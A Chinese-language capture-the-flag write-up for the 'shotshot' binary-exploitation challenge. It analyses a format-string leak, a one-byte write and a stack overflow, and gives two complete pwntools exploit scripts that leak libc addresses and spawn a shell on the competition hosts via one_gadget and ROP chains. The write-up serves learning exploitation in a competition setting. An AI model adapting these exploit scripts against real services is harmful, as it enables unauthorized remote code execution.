PCB final shotshot一题两解

比赛期间学的挺多的现在记录下自己的心得

程序分析

大致浏览

题目并没有进行去符号的处理

main

从这里可以可以大概知道程序在干什么,代码量不是很大我们接下来进行单步的分析。

create

这里先让你创建了一个waepon的name,然后在输入长度,进行一个输入,没有什么漏洞点

show

这个函数中有一个格式化字符串是可以进行利用的,但是比较麻烦的是参数是在bss段,利用起来泄漏很容易但是写操作比较难。

drop

这里在free weapon后进行了指针的置0所以并没有uaf之类的洞

shot

这里的代码量比较大,大致就是输入一些数字可以跳转到一些函数,其中有一个dead函数引起了我的注意力于世就跟进了一下dead函数

dead

函数的名字本身就比较引人注目,然后很快就发现了这里有一个任意地址的调用,不过在汇编当中是mov [rdx] al 只能改一个字节。所以这里要想好应该改哪一个字节。

to_read

这里是进行一个读的操作本身也没有什么问题,也没有栈溢出,但是在后面的调试中能发现一些问题。直接跳转它会造成一个栈溢出的情况。这里就不截图了。

利用分析

泄漏信息

当然是创建一个含有格式化字符的堆,然后进行一个打印造成一个格式化字符串的利用,其中图片上格式化地址0x7fffffffdcf8那里是__libc_start_main的地址。泄漏后可以泄漏偏移,当时发现本地和远程一样所以直接用了自己乌邦图的libc。

getshell

先转跳到地址低位为af的上面,就是上面说的to read函数,动态调试的时候会发现这里有栈溢出和ret地址只相差0x10,从图里就可以看出来了。

思路分析

首先利用格式化字符串泄漏栈地址,然后计算出one的地址然后再进行一个rop就可以了贴出exp

exp

from pwn import *

def create(data):
    io.sendlineafter("exit",'1')
    io.sendlineafter("name:",str(len(data)+1))
    io.sendlineafter("name:",data)

def show():
    io.sendlineafter("exit",'2')
    io.recvuntil('0x')
    return io.recvline()

#io=process("./shotshot")
#context.log_level="debug"
#gdb.attach(io,"b printf")
e = ELF("./libc-2.23.so")
io = remote('172.91.0.42',8084)   
io.sendafter("name",'ao')
create("0x0x%11$lx")

system=0xf02a4
libc=int(show(),16)-e.symbols["__libc_start_main"]-240
system+=libc
io.sendlineafter("exit",'4')
io.sendlineafter("C++",'1')
io.sendlineafter("id:",'32')
for i in range(3):
    io.sendlineafter("exit",'4')
    io.sendlineafter('C++','4')
io.sendlineafter("luckynum:",str(0xaf))
io.send('a'*0x10+p64(system))

io.interactive()

方法二

方法二相对于方法一就是直接利用了rop而没有利用格式化字符串,因为格式化字符串这一个漏洞比较容易进行patch。

exp

from pwn import *

def create(data):
    io.sendlineafter("exit",'1')
    io.sendlineafter("name:",str(len(data)+1))
    io.sendlineafter("name:",data)

def show():
    io.sendlineafter("exit",'2')
    io.recvuntil('0x')
    return io.recvline()

context.log_level="debug"
#gdb.attach(io)
e = ELF("./libc-2.23.so")
io = remote('172.91.0.88',8084) 
io.sendafter("name",'ao')
create("0x0x%11$lxaa")

system=0x45216                  

io.sendlineafter("exit",'4')
io.sendlineafter("C++",'1')
io.sendlineafter("id:",'32')
for i in range(3):
    io.sendlineafter("exit",'4')
    io.sendlineafter('C++','4')
io.sendlineafter("luckynum:\n",str(0xaf))
io.send(p64(0x602038+0x40)*2+p64(0x4010b3)+p64(0x602020)+p64(0x400740)+p64(0x400AAF))
io.recvline()
puts=u64(io.recvline()[:-1].ljust(8,'\0'))
print hex(puts)
system=system+puts-0x6f690
io.send(p64(system))
io.interactive()

总结

这歌题目可以开拓思路吧因为在awd下,漏洞总共就那么多,容易patch和不容易patch的大家都知道多几种利用方法就能多打几个人。

源链接

Hacking more

...